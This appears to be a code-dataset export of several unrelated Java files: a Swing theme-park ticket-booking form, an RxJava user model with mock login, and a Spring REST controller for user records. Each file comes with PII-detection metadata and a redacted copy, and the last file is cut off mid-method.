cmbdiscount.addItem(rs.getString("discount_name"));
discountlist.add(discount_array);
}
chk =1;
}
catch(Exception e)
{
e.printStackTrace();
}
}
void fillpackage()
{
try{
String query="select * from package1" ;
PreparedStatement ps= con.prepareStatement(query);
ResultSet rs=ps.executeQuery();
String package_array[]=new String[3];
// packlist.add(package_array);
while(rs.next()){
package_array=new String[3];
package_array[0]=rs.getString("pack_id");
package_array[1]=rs.getString("package_name");
package_array[2]=rs.getString("total_price");
cmbpack.addItem(rs.getString("package_name"));
packlist.add(package_array);
}
chk =1;
}
catch(Exception e)
{
e.printStackTrace();
}
}
void fillTable() {
try {
Vector heading = new Vector();
heading.add("Booking_id");
heading.add("Customer_Name");
heading.add("Discount");
heading.add("Package");
heading.add("Tax");
heading.add("Date Of Booking");
heading.add("Price");
String custname = txtname.getText();
val.isName(custname);
if(custname.length() == 0)
{
JOptionPane.showMessageDialog(this, "Please fill name");
return;
}
String bookid = txtbookid.getText();
int pack = cmbpack.getSelectedIndex();
String x[]=(String[]) packlist.get(pack);
String packg=x[0];
String pack1= x[2];
int discount = cmbdiscount.getSelectedIndex();
String y[]=(String[]) discountlist.get(discount);
String dis = y[0];
String dis1= y[2];
Date dh=dob.getDate();
SimpleDateFormat sd=new SimpleDateFormat("dd/MM/yyyy");
String dob = sd.format(dh);
if(dob.length() == 0)
{
JOptionPane.showMessageDialog(this, "Please Fill Date Of Booking");
return;
}
String age = txtage.getText();
int a,b,c,d;
double total;
a = Integer.parseInt(dis1);
b = Integer.parseInt(pack1);
String tt= txttax.getText();
d = Integer.parseInt(tt);
total = (b - 0.01*a*b) + (0.01*d*b);
String total1= String.valueOf(total);
int totalfinal = (int)total;
total2.setText(String.valueOf(totalfinal));
Vector row = new Vector();
row.add(bookid);
row.add(custname);
row.add(String.valueOf(discount));
row.add(packg);
row.add(tt);
row.add(dob);
row.add(String.valueOf(totalfinal));
data.add(row);
DefaultTableModel df = new DefaultTableModel(data, heading);
jTable1.setModel(df);
} catch (Exception ex) {
JOptionPane.showMessageDialog(this, "Error occured " + ex.getMessage());
ex.printStackTrace();
}
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnadd;
private javax.swing.JButton btnbook;
private javax.swing.JComboBox<String> cmbdiscount;
private javax.swing.JComboBox<String> cmbpack;
private org.jdesktop.swingx.JXDatePicker dob;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel14;
private javax.swing.JLabel jLabel16;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSlider jSlider1;
private javax.swing.JTable jTable1;
private javax.swing.JLabel total2;
private javax.swing.JTextField txtage;
private javax.swing.JTextField txtbookid;
private javax.swing.JCheckBox txtconfirm;
private javax.swing.JTextField txtcontact;
private javax.swing.JTextField txtemail;
private javax.swing.JTextField txtname;
private javax.swing.JTextField txttax;
// End of variables declaration//GEN-END:variables
}
| UTF-8 | Java | 17,275 | java | bookings.java | Java | [
{
"context": "the template in the editor.\n */\n\n/**\n *\n * @author Lenovo\n */\npublic class bookings extends javax.swing.JIn",
"end": 621,
"score": 0.8432378172874451,
"start": 615,
"tag": "USERNAME",
"value": "Lenovo"
}
] | null | [] |
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.Vector;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.TableModel;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author Lenovo
*/
public class bookings extends javax.swing.JInternalFrame {
/**
* Creates new form bookings
*/Connection con;
ArrayList discountlist = new ArrayList();
ArrayList couponlist = new ArrayList();
ArrayList packlist = new ArrayList();
int chk,flag;
Validations val;
Vector data;
String empid;
public bookings(Connection con,String empid) {
initComponents();
this.con = con;
this.empid=empid;
chk=0;
flag=0;
filldiscount();
fillpackage();
val = new Validations();
data=new Vector();
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jSlider1 = new javax.swing.JSlider();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
txtname = new javax.swing.JTextField();
txtbookid = new javax.swing.JTextField();
txtcontact = new javax.swing.JTextField();
cmbpack = new javax.swing.JComboBox<>();
cmbdiscount = new javax.swing.JComboBox<>();
jLabel9 = new javax.swing.JLabel();
txttax = new javax.swing.JTextField();
jLabel10 = new javax.swing.JLabel();
txtemail = new javax.swing.JTextField();
jLabel11 = new javax.swing.JLabel();
txtconfirm = new javax.swing.JCheckBox();
jLabel12 = new javax.swing.JLabel();
dob = new org.jdesktop.swingx.JXDatePicker();
jLabel13 = new javax.swing.JLabel();
total2 = new javax.swing.JLabel();
btnbook = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
btnadd = new javax.swing.JButton();
jLabel14 = new javax.swing.JLabel();
txtage = new javax.swing.JTextField();
jLabel8 = new javax.swing.JLabel();
jLabel16 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
setClosable(true);
getContentPane().setLayout(null);
jLabel1.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel1.setText("Customer Name");
getContentPane().add(jLabel1);
jLabel1.setBounds(45, 76, 120, 18);
getContentPane().add(jLabel2);
jLabel2.setBounds(45, 116, 0, 0);
jLabel3.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel3.setText("Email");
getContentPane().add(jLabel3);
jLabel3.setBounds(45, 276, 90, 18);
jLabel4.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel4.setText("Contact Number");
getContentPane().add(jLabel4);
jLabel4.setBounds(45, 176, 120, 18);
jLabel5.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel5.setText("Package");
getContentPane().add(jLabel5);
jLabel5.setBounds(45, 223, 80, 18);
jLabel6.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel6.setText("Discount");
getContentPane().add(jLabel6);
jLabel6.setBounds(420, 140, 80, 18);
getContentPane().add(txtname);
txtname.setBounds(228, 73, 140, 27);
getContentPane().add(txtbookid);
txtbookid.setBounds(228, 122, 140, 27);
getContentPane().add(txtcontact);
txtcontact.setBounds(228, 173, 140, 27);
getContentPane().add(cmbpack);
cmbpack.setBounds(228, 220, 140, 27);
getContentPane().add(cmbdiscount);
cmbdiscount.setBounds(550, 130, 130, 27);
jLabel9.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel9.setText("Tax");
getContentPane().add(jLabel9);
jLabel9.setBounds(420, 250, 60, 18);
getContentPane().add(txttax);
txttax.setBounds(550, 240, 130, 27);
jLabel10.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel10.setText("Booking Id");
getContentPane().add(jLabel10);
jLabel10.setBounds(45, 125, 90, 18);
getContentPane().add(txtemail);
txtemail.setBounds(228, 273, 140, 27);
jLabel11.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel11.setText("Booking period");
getContentPane().add(jLabel11);
jLabel11.setBounds(420, 290, 110, 18);
txtconfirm.setText("Advance");
getContentPane().add(txtconfirm);
txtconfirm.setBounds(550, 290, 120, 27);
jLabel12.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel12.setText("Date of Booking");
getContentPane().add(jLabel12);
jLabel12.setBounds(45, 338, 120, 18);
dob.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
dobActionPerformed(evt);
}
});
getContentPane().add(dob);
dob.setBounds(228, 334, 146, 27);
jLabel13.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel13.setText("Total");
getContentPane().add(jLabel13);
jLabel13.setBounds(418, 338, 70, 18);
getContentPane().add(total2);
total2.setBounds(544, 338, 105, 0);
btnbook.setBackground(new java.awt.Color(0, 153, 255));
btnbook.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 24)); // NOI18N
btnbook.setForeground(new java.awt.Color(255, 255, 255));
btnbook.setText("Book");
btnbook.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnbookActionPerformed(evt);
}
});
getContentPane().add(btnbook);
btnbook.setBounds(360, 530, 154, 50);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jScrollPane1.setViewportView(jTable1);
getContentPane().add(jScrollPane1);
jScrollPane1.setBounds(30, 400, 664, 92);
btnadd.setBackground(new java.awt.Color(0, 153, 255));
btnadd.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 24)); // NOI18N
btnadd.setForeground(new java.awt.Color(255, 255, 255));
btnadd.setText("Add");
btnadd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnaddActionPerformed(evt);
}
});
getContentPane().add(btnadd);
btnadd.setBounds(170, 530, 145, 50);
jLabel14.setFont(new java.awt.Font("Candara", 1, 14)); // NOI18N
jLabel14.setText("Age");
getContentPane().add(jLabel14);
jLabel14.setBounds(420, 200, 60, 18);
getContentPane().add(txtage);
txtage.setBounds(550, 190, 130, 27);
jLabel8.setBackground(new java.awt.Color(255, 204, 51));
jLabel8.setFont(new java.awt.Font("Tw Cen MT Condensed", 1, 48)); // NOI18N
jLabel8.setForeground(new java.awt.Color(0, 204, 204));
jLabel8.setText(" Ticket Booking");
getContentPane().add(jLabel8);
jLabel8.setBounds(170, 10, 450, 50);
jLabel16.setIcon(new javax.swing.ImageIcon(getClass().getResource("/Images/tickpng.png"))); // NOI18N
getContentPane().add(jLabel16);
jLabel16.setBounds(600, 0, 110, 110);
jLabel7.setBackground(new java.awt.Color(255, 255, 255));
jLabel7.setOpaque(true);
getContentPane().add(jLabel7);
jLabel7.setBounds(0, 0, 710, 650);
pack();
}// </editor-fold>//GEN-END:initComponents
private void dobActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_dobActionPerformed
// TODO add your handling code here:
}//GEN-LAST:event_dobActionPerformed
private void btnbookActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnbookActionPerformed
try {
String contact = txtcontact.getText();
String email = txtemail.getText();
String age = txtage.getText();
String s="";
if(txtconfirm.isSelected())
{
s= "Advance";
}
else
{
s= "";
}
String dd = null;
int count=0;
TableModel tm = jTable1.getModel();
for (int i = 0; i < jTable1.getRowCount(); i++) {
String bookid = (String) tm.getValueAt(i, 0);
String custname = (String) tm.getValueAt(i, 1);
String dis = (String) tm.getValueAt(i, 2);
String pack = (String) tm.getValueAt(i, 3);
String tax = (String) tm.getValueAt(i, 4);
dd = (String) tm.getValueAt(i, 5);
String price = (String) tm.getValueAt(i, 6);
String sql = "insert into bookings(booking_id, customer_name, email_id, contact_number,discount_id,age,package_id,employee_id,tax,date_of_booking,status,total_price) values(?,?,?,?,?,?,?,?,?,?,?,?)";
PreparedStatement p = con.prepareStatement(sql);
p.setString(1, bookid);
p.setString(2, custname);
p.setString(3, email);
p.setString(4, contact);
p.setString(5, dis);
p.setString(6, age);
p.setString(7, pack);
p.setString(8, empid);
p.setString(9, tax);
p.setString(10, dd);
p.setString(11,s);
p.setString(12,price);
p.executeUpdate();
count++;
}
String subject="test";
String message="<b> Welcome to Theme Park\n</b>\nYour booking is confirmed! with the following details\n Booking Date: "+dd+"Number of tickets: "+count+"<b>Thankyou</b>\n<b>Have Fun Visit Again!</b>";
sendmail m=new sendmail();
m.sendEmail(email,subject,message);
JOptionPane.showMessageDialog(this, "booking confirmed");
} catch (Exception ex) {
Logger.getLogger(bookings.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_btnbookActionPerformed
private void btnaddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnaddActionPerformed
fillTable();
}//GEN-LAST:event_btnaddActionPerformed
void filldiscount()
{
try{
String query="select * from discount" ;
PreparedStatement ps= con.prepareStatement(query);
ResultSet rs=ps.executeQuery();
String discount_array[]=new String[3];
// discountlist.add(discount_array);
while(rs.next()){
discount_array=new String[3];
discount_array[0]=rs.getString("discount_id");
discount_array[1]=rs.getString("discount_name");
discount_array[2]=rs.getString("discount_percentage");
cmbdiscount.addItem(rs.getString("discount_name"));
discountlist.add(discount_array);
}
chk =1;
}
catch(Exception e)
{
e.printStackTrace();
}
}
void fillpackage()
{
try{
String query="select * from package1" ;
PreparedStatement ps= con.prepareStatement(query);
ResultSet rs=ps.executeQuery();
String package_array[]=new String[3];
// packlist.add(package_array);
while(rs.next()){
package_array=new String[3];
package_array[0]=rs.getString("pack_id");
package_array[1]=rs.getString("package_name");
package_array[2]=rs.getString("total_price");
cmbpack.addItem(rs.getString("package_name"));
packlist.add(package_array);
}
chk =1;
}
catch(Exception e)
{
e.printStackTrace();
}
}
void fillTable() {
try {
Vector heading = new Vector();
heading.add("Booking_id");
heading.add("Customer_Name");
heading.add("Discount");
heading.add("Package");
heading.add("Tax");
heading.add("Date Of Booking");
heading.add("Price");
String custname = txtname.getText();
val.isName(custname);
if(custname.length() == 0)
{
JOptionPane.showMessageDialog(this, "Please fill name");
return;
}
String bookid = txtbookid.getText();
int pack = cmbpack.getSelectedIndex();
String x[]=(String[]) packlist.get(pack);
String packg=x[0];
String pack1= x[2];
int discount = cmbdiscount.getSelectedIndex();
String y[]=(String[]) discountlist.get(discount);
String dis = y[0];
String dis1= y[2];
Date dh=dob.getDate();
SimpleDateFormat sd=new SimpleDateFormat("dd/MM/yyyy");
String dob = sd.format(dh);
if(dob.length() == 0)
{
JOptionPane.showMessageDialog(this, "Please Fill Date Of Booking");
return;
}
String age = txtage.getText();
int a,b,c,d;
double total;
a = Integer.parseInt(dis1);
b = Integer.parseInt(pack1);
String tt= txttax.getText();
d = Integer.parseInt(tt);
total = (b - 0.01*a*b) + (0.01*d*b);
String total1= String.valueOf(total);
int totalfinal = (int)total;
total2.setText(String.valueOf(totalfinal));
Vector row = new Vector();
row.add(bookid);
row.add(custname);
row.add(String.valueOf(discount));
row.add(packg);
row.add(tt);
row.add(dob);
row.add(String.valueOf(totalfinal));
data.add(row);
DefaultTableModel df = new DefaultTableModel(data, heading);
jTable1.setModel(df);
} catch (Exception ex) {
JOptionPane.showMessageDialog(this, "Error occured " + ex.getMessage());
ex.printStackTrace();
}
}
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnadd;
private javax.swing.JButton btnbook;
private javax.swing.JComboBox<String> cmbdiscount;
private javax.swing.JComboBox<String> cmbpack;
private org.jdesktop.swingx.JXDatePicker dob;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel10;
private javax.swing.JLabel jLabel11;
private javax.swing.JLabel jLabel12;
private javax.swing.JLabel jLabel13;
private javax.swing.JLabel jLabel14;
private javax.swing.JLabel jLabel16;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel7;
private javax.swing.JLabel jLabel8;
private javax.swing.JLabel jLabel9;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JSlider jSlider1;
private javax.swing.JTable jTable1;
private javax.swing.JLabel total2;
private javax.swing.JTextField txtage;
private javax.swing.JTextField txtbookid;
private javax.swing.JCheckBox txtconfirm;
private javax.swing.JTextField txtcontact;
private javax.swing.JTextField txtemail;
private javax.swing.JTextField txtname;
private javax.swing.JTextField txttax;
// End of variables declaration//GEN-END:variables
}
| 17,275 | 0.584544 | 0.548423 | 495 | 33.896969 | 24.423773 | 215 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.054545 | false | false | 15 |
a465d5d782206b0f3b8c5899e2e7257623059fa5 | 20,590,073,218,830 | 598a5f64ec2035c107ef1a19cf3d38949fbb2369 | /app/src/main/java/vn/tale/architecture/model/manager/UserModel.java | 482749b06f7d3fe170ca29b6f0b087cb4619766d | [
"Apache-2.0"
] | permissive | dbof10/redux-observable | https://github.com/dbof10/redux-observable | 57a10890f3638e969268d992b272c1863dfc93f4 | 8ee0a2e3de50d67f55fe812ec6d55d274179f236 | refs/heads/master | 2021-01-22T22:03:47.686000 | 2017-05-29T16:21:40 | 2017-05-29T16:21:40 | 92,755,785 | 11 | 3 | null | null | null | null | null | null | null | null | null | null | null | null | null | package vn.tale.architecture.model.manager;
import android.support.v4.util.Pair;
import io.reactivex.Completable;
import io.reactivex.Observable;
import io.reactivex.Single;
import io.reactivex.subjects.BehaviorSubject;
import vn.tale.architecture.model.User;
import vn.tale.architecture.model.error.AuthenticateError;
/**
* Created by Giang Nguyen on 2/21/17.
*/
public class UserModel {
public static final User ANNOYMOUS = User.user("annoymous@tale.vn", "annoymous");
private final BehaviorSubject<User> userSubject = BehaviorSubject.createDefault(ANNOYMOUS);
public Observable<User> user() {
return userSubject;
}
public Single<User> login(final String email, final String password) {
final Pair<String, String> authInfo = new Pair<>(email, password);
return Single.fromCallable(() -> {
Thread.sleep(500);
if (MockManager.USER_MAP.containsKey(authInfo)) {
return MockManager.USER_MAP.get(authInfo);
}
throw new AuthenticateError();
}).doOnSuccess(userSubject::onNext);
}
public Completable logout() {
return Completable.fromAction(() -> userSubject.onNext(ANNOYMOUS));
}
}
| UTF-8 | Java | 1,155 | java | UserModel.java | Java | [
{
"context": ".model.error.AuthenticateError;\n\n/**\n * Created by Giang Nguyen on 2/21/17.\n */\n\npublic class UserModel {\n\n publ",
"end": 351,
"score": 0.999869704246521,
"start": 339,
"tag": "NAME",
"value": "Giang Nguyen"
},
{
"context": " public static final User ANNOYMOUS = User.user(\"annoymous@tale.vn\", \"annoymous\");\n\n private final BehaviorSubject<",
"end": 462,
"score": 0.9999282360076904,
"start": 445,
"tag": "EMAIL",
"value": "annoymous@tale.vn"
}
] | null | [] | package vn.tale.architecture.model.manager;
import android.support.v4.util.Pair;
import io.reactivex.Completable;
import io.reactivex.Observable;
import io.reactivex.Single;
import io.reactivex.subjects.BehaviorSubject;
import vn.tale.architecture.model.User;
import vn.tale.architecture.model.error.AuthenticateError;
/**
* Created by <NAME> on 2/21/17.
*/
public class UserModel {
public static final User ANNOYMOUS = User.user("<EMAIL>", "annoymous");
private final BehaviorSubject<User> userSubject = BehaviorSubject.createDefault(ANNOYMOUS);
public Observable<User> user() {
return userSubject;
}
public Single<User> login(final String email, final String password) {
final Pair<String, String> authInfo = new Pair<>(email, password);
return Single.fromCallable(() -> {
Thread.sleep(500);
if (MockManager.USER_MAP.containsKey(authInfo)) {
return MockManager.USER_MAP.get(authInfo);
}
throw new AuthenticateError();
}).doOnSuccess(userSubject::onNext);
}
public Completable logout() {
return Completable.fromAction(() -> userSubject.onNext(ANNOYMOUS));
}
}
| 1,139 | 0.730736 | 0.722944 | 39 | 28.615385 | 26.16478 | 93 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.538462 | false | false | 15 |
316765f43cbd91257ec1a499b165981a2c7381c2 | 23,433,341,596,124 | ba42c88e437ce8e9e7fd87cd31f71c929e9c947d | /src/main/java/com/crp/qa/qaGateWay/controller/QaUserController.java | bcca36858307c83352f81724e7d1831a760795ee | [] | no_license | bingzhilingyi/qa-gateway | https://github.com/bingzhilingyi/qa-gateway | 1de7061c4fd92b8454fd24f6cd0d8b9ba0fce97d | 2f90b732d5f5373581118ebef495073bbb3df827 | refs/heads/master | 2020-03-19T09:44:20.221000 | 2018-08-22T12:45:36 | 2018-08-22T12:45:36 | 136,314,362 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | /**
* huangyue
* 2018年5月31日
*/
package com.crp.qa.qaGateWay.controller;
import javax.annotation.Resource;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.crp.qa.qaGateWay.service.inte.QaUserService;
import com.crp.qa.qaGateWay.util.exception.QaUserException;
import com.crp.qa.qaGateWay.util.transfer.QaBaseTransfer;
import com.crp.qa.qaGateWay.util.transfer.QaPagedTransfer;
/**
* 用户
* @author huangyue
* @date 2018年5月31日 下午7:29:11
* @ClassName QaUserController
*/
@RestController
@RequestMapping(path="/user")
public class QaUserController extends QaBaseController{
@Resource(name="qaUserService")
private QaUserService qaUserService;
/**
* 查找所有用户
* @author huangyue
* @date 2018年5月31日 下午8:49:51
* @return
*/
@GetMapping(path="/findAll")
public QaBaseTransfer findAll() {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findAll();
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 获取所有用户,分页
* @param username
* @return
*/
@GetMapping(path="/findPagedAll")
public QaPagedTransfer findPagedAll(
@RequestParam(value="page",defaultValue="0") Integer page,
@RequestParam(value="size",defaultValue="10") Integer size) {
//创建返回对象
QaPagedTransfer dto = new QaPagedTransfer();
try {
dto = qaUserService.findPagedAll(page, size);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据id查找用户
* @author huangyue
* @date 2018年5月10日 上午10:17:14
* @param id
* @return
*/
@GetMapping(path="/find/{id}")
public QaBaseTransfer get(@PathVariable(value="id") Integer id) {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findById(id);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据账户或姓名查找用户,不分页
* @author huangyue
* @date 2018年5月15日 下午1:08:30
* @param account 账户或姓名
* @return
*/
@GetMapping(path="/findByAccountOrName")
public QaBaseTransfer findByAccountOrName(@RequestParam(value="account") String account) {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findByAccountOrName(account);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据账户或姓名查找用户,分页
* @author huangyue
* @date 2018年5月15日 下午2:58:11
* @param account 账户或姓名
* @param page 当前页
* @param size 每页条目数
* @param isSlice 返回值是否是slice
* false (default): 返回page,包含总页数及总条目数,效率低。
* true: 返回slice,只有数据,没有总页数和总条目数,效率高。
* @return
*/
@GetMapping(path="/findPagedByAccountOrName")
public QaPagedTransfer findPagedByAccountOrName(
@RequestParam(value="account") String account,
@RequestParam(value="page",defaultValue="0") Integer page,
@RequestParam(value="size",defaultValue="10") Integer size,
@RequestParam(value="searchType",defaultValue="account") String searchType){
//创建返回对象
QaPagedTransfer dto = new QaPagedTransfer();
try {
dto = qaUserService.findPagedByAccountOrName(account, page, size, searchType);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 保存传入的对象
* @author huangyue
* @date 2018年5月15日 下午7:53:40
* @param user
* @return
*/
@PostMapping(path="/save")
public QaBaseTransfer save(@RequestParam(value="user") String user){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.save(user);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据id删除对象
* @author huangyue
* @date 2018年5月15日 下午7:53:47
* @param id
* @return
*/
@DeleteMapping(path="/delete/{id}")
public QaBaseTransfer delete(@PathVariable(value="id") Integer id){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.deleteById(id);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 更新传入的对象
* @author huangyue
* @date 2018年5月15日 下午7:53:54
* @param user
* @return
*/
@PutMapping(path="/update")
public QaBaseTransfer update(@RequestParam(value="user") String user){
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.update(user);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
}
| UTF-8 | Java | 5,167 | java | QaUserController.java | Java | [
{
"context": "/**\n * huangyue\n * 2018年5月31日\n */\npackage com.crp.qa.qaGateWay.co",
"end": 15,
"score": 0.9993169903755188,
"start": 7,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "l.transfer.QaPagedTransfer;\n\n\n/**\n * 用户\n * @author huangyue\n * @date 2018年5月31日 下午7:29:11\n * @ClassName QaUse",
"end": 864,
"score": 0.9992349743843079,
"start": 856,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "vice qaUserService;\n\t\n\t/**\n\t * 查找所有用户\n\t * @author huangyue\n\t * @date 2018年5月31日 下午8:49:51\n\t * @return\n\t */\n\t",
"end": 1144,
"score": 0.999293863773346,
"start": 1136,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "\t}\n\t\treturn dto;\n\t}\n\n\t/**\n\t * 根据id查找用户\n\t * @author huangyue\n\t * @date 2018年5月10日 上午10:17:14\n\t * @param id\n\t *",
"end": 1920,
"score": 0.9996672868728638,
"start": 1912,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "urn dto;\n\t}\n\t\n\t/**\n\t * 根据账户或姓名查找用户,不分页\n\t * @author huangyue\n\t * @date 2018年5月15日 下午1:08:30\n\t * @param account",
"end": 2307,
"score": 0.999664843082428,
"start": 2299,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "turn dto;\n\t}\n\t\n\t/**\n\t * 根据账户或姓名查找用户,分页\n\t * @author huangyue\n\t * @date 2018年5月15日 下午2:58:11\n\t * @param account",
"end": 2754,
"score": 0.9996671080589294,
"start": 2746,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "\t}\n\t\treturn dto;\n\t}\n\t\n\t/**\n\t * 保存传入的对象\n\t * @author huangyue\n\t * @date 2018年5月15日 下午7:53:40\n\t * @param user\n\t ",
"end": 3606,
"score": 0.9959937930107117,
"start": 3598,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "}\n\t\treturn dto;\n\t}\n\t\n\t/**\n\t * 根据id删除对象\n\t * @author huangyue\n\t * @date 2018年5月15日 下午7:53:47\n\t * @param id\n\t * ",
"end": 3984,
"score": 0.9974991083145142,
"start": 3976,
"tag": "USERNAME",
"value": "huangyue"
},
{
"context": "\t}\n\t\treturn dto;\n\t}\n\t\n\t/**\n\t * 更新传入的对象\n\t * @author huangyue\n\t * @date 2018年5月15日 下午7:53:54\n\t * @param user\n\t ",
"end": 4371,
"score": 0.9847726821899414,
"start": 4363,
"tag": "USERNAME",
"value": "huangyue"
}
] | null | [] | /**
* huangyue
* 2018年5月31日
*/
package com.crp.qa.qaGateWay.controller;
import javax.annotation.Resource;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.crp.qa.qaGateWay.service.inte.QaUserService;
import com.crp.qa.qaGateWay.util.exception.QaUserException;
import com.crp.qa.qaGateWay.util.transfer.QaBaseTransfer;
import com.crp.qa.qaGateWay.util.transfer.QaPagedTransfer;
/**
* 用户
* @author huangyue
* @date 2018年5月31日 下午7:29:11
* @ClassName QaUserController
*/
@RestController
@RequestMapping(path="/user")
public class QaUserController extends QaBaseController{
@Resource(name="qaUserService")
private QaUserService qaUserService;
/**
* 查找所有用户
* @author huangyue
* @date 2018年5月31日 下午8:49:51
* @return
*/
@GetMapping(path="/findAll")
public QaBaseTransfer findAll() {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findAll();
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 获取所有用户,分页
* @param username
* @return
*/
@GetMapping(path="/findPagedAll")
public QaPagedTransfer findPagedAll(
@RequestParam(value="page",defaultValue="0") Integer page,
@RequestParam(value="size",defaultValue="10") Integer size) {
//创建返回对象
QaPagedTransfer dto = new QaPagedTransfer();
try {
dto = qaUserService.findPagedAll(page, size);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据id查找用户
* @author huangyue
* @date 2018年5月10日 上午10:17:14
* @param id
* @return
*/
@GetMapping(path="/find/{id}")
public QaBaseTransfer get(@PathVariable(value="id") Integer id) {
//创建返回对象
QaBaseTransfer dto = new QaBaseTransfer();
try {
dto = qaUserService.findById(id);
} catch (QaUserException e) {
returnError(e,dto);
}
return dto;
}
/**
* 根据账户或姓名查找用户,不分页
* @author huangyue
* @date 2018年5月15日 下午1:08:30
* @param account 账户或姓名
* @return
*/
@GetMapping(path="/findByAccountOrName")
